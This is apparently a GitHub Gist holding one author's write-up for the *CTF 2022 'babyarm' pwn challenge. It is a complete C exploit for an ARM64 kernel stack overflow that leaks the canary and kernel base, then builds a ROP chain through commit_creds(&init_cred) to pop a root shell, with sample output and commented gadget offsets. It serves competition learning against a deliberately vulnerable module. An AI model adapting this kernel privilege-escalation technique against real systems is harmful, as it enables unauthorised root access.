Last active
April 28, 2022 12:45
-
-
Save xf1les/017e3e504dc8ef897c918463bdd58cf8 to your computer and use it in GitHub Desktop.
startCTF 2022 Pwn 题目 babyarm Writeup 和笔记(可以成功弹出 root shell)
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
* Personal Writeup for *CTF 2022 PWN challenge babyarm | |
* | |
* Author: xf1les | |
* | |
* This EXP demonstrates a solution which can successfully pop a root shell rather than doing ORW (Open/Read/Write) to get flag | |
* (Reminder: I didn't solve this challenge during the event) | |
* | |
* *** | |
* | |
* ~ $ ./exp | |
* [*] 1. leaking... | |
* [+] kernelbase: 0xffffc7aa88a00000 | |
* [+] canary: 0xd582376d3cfe7300 | |
* [*] 2. stack overflowing... | |
* /home/pwn # id | |
* uid=0(root) gid=0 | |
* /home/pwn # | |
* | |
* *** | |
* | |
* FYI: | |
* - Source code of the challenge: https://github.com/sixstars/starctf2022/tree/main/pwn-babyarm | |
* - The writeups from others: | |
* - https://xuanxuanblingbling.github.io/ctf/pwn/2022/04/19/babyarm/ | |
* - https://bbs.pediy.com/thread-272397.htm | |
* - https://bbs.pediy.com/thread-272376.htm | |
* | |
* You can compile me with this command: `aarch64-linux-musl-gcc -static exp.c` | |
* | |
*/ | |
#define _GNU_SOURCE | |
#include <stdio.h> | |
#include <stdlib.h> | |
#include <stdint.h> | |
#include <unistd.h> | |
#include <string.h> | |
#include <fcntl.h> | |
void shell() { | |
// Setup argv[] to make busybox happy | |
char* argv[] = {"/bin/sh", NULL}; | |
execve("/bin/sh", argv, NULL); | |
} | |
int main(int argc, char const *argv[]) | |
{ | |
/* Some memo for me to cross-compile an ARM64 kernel | |
* | |
* 1. Export `ARCH=arm64 CROSS_COMPILE="aarch64-linux-gnu-"` before any make commands | |
* 2. Disable anything except `ARMv8 software model (Versatile Express)` in `Platform selection` to save compiling time | |
* 3. Disable `CONFIG_ARM64_BTI*` (it makes kernel crash) and `CONFIG_ARM64_PTR_AUTH*` (exp kernel not enable this) | |
* 4. Remember to disable `Reduce debugging information` which is enabled by default in arm64 config | |
* | |
*/ | |
char buf[0x1000] = {0}; | |
/* BUG: stack overflow, OOB read / write can be performed */ | |
int fd = open("/proc/demo", O_RDWR); | |
if (fd < 0) { | |
perror("open"); | |
exit(-1); | |
} | |
printf("[*] 1. leaking...\n"); | |
read(fd, buf, 0x300); | |
int64_t* p = (int64_t*)buf; | |
uint64_t canary = p[0x10]; | |
uint64_t kernelbase = p[0x1e] - (0x20c0000022dd4b8-0x20c0000020b9000); // __arm64_sys_write | |
// weird ELF base and wrong symbol names (maybe vmlinux-to-elf BUG?) | |
printf("[+] kernelbase: 0x%llx\n", kernelbase); | |
printf("[+] canary: 0x%llx\n", canary); | |
// What are the fxxking offsets? | |
//~ memset(buf, 0, 0x1000); | |
//~ for(int i = 0; i < 0x300/8; i++) | |
//~ p[i] = i; | |
// 0x020c000002365ee0: ldr x0, [sp, #0x68]; ldp x29, x30, [sp], #0x90; ret; | |
// | |
// call commit_creds(&init_cred), then return to trampoline1 | |
// | |
p[0x12] = kernelbase+(0x20c000002365ee0-0x20c0000020b9000); // trampoline0 | |
p[0x22] = kernelbase+(0x20c000003de8cc0-0x20c0000020b9000); // init_cred | |
p[0x16] = kernelbase+(0x20c00000215b258-0x20c0000020b9000)+4; // commit_creds+4 | |
// skip `stp x29, x30, [sp, #-0x30]!` by plusing 4 | |
// to prevent corrupting our next return address | |
// 0x020c000002ea3f10: ldp x29, x30, [sp, #0x50]; ldp x19, x20, [sp, #0x60]; add sp, sp, #0x70; ret; | |
// | |
// sp+0x70, then return to ret_to_user() | |
// | |
// This is used to correct sp_el1 register (sp used in kernel mode) before returning to user mode, | |
// so CPU can restore the saved registers overwritten by execve() syscall handler from the correct location in kernel stack, | |
// preventing program crash caused by bad PC/SP vaule when returning from execve() syscall | |
// | |
p[0x28] = kernelbase+(0x20c000002ea3f10-0x20c0000020b9000); // trampoline1 (fixing sp) | |
p[0x38] = kernelbase+(0x20c0000020cafdc-0x20c0000020b9000); // ret_to_user | |
p[0x5b] = (int64_t)shell; // PC (elr_el1) | |
// Other register (SP, x0, x1...) use the old vaule in kernel stack | |
/* Memo: Registers needed to be taken care of when returning from kernel mode (el1) to user mode (el0) | |
* | |
* 1. sp_el0 : sp register used in user mode | |
* 2. sp_el1 : (see trampoline1) | |
* 3. elr_el1 : the return address | |
* 4. spsr_el1 : saved PSTATE (like CRx and FLAGS in x64), it seems OK to be set to zero | |
* | |
* AARCH64 use `eret` instruction to return to user mode | |
* | |
*/ | |
printf("[*] 2. stack overflowing...\n"); | |
// Control flow: trampoline0 -> commit_creds() -> trampoline1 -> ret_to_user() -> shell() in user mode | |
write(fd, buf, 0x300); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment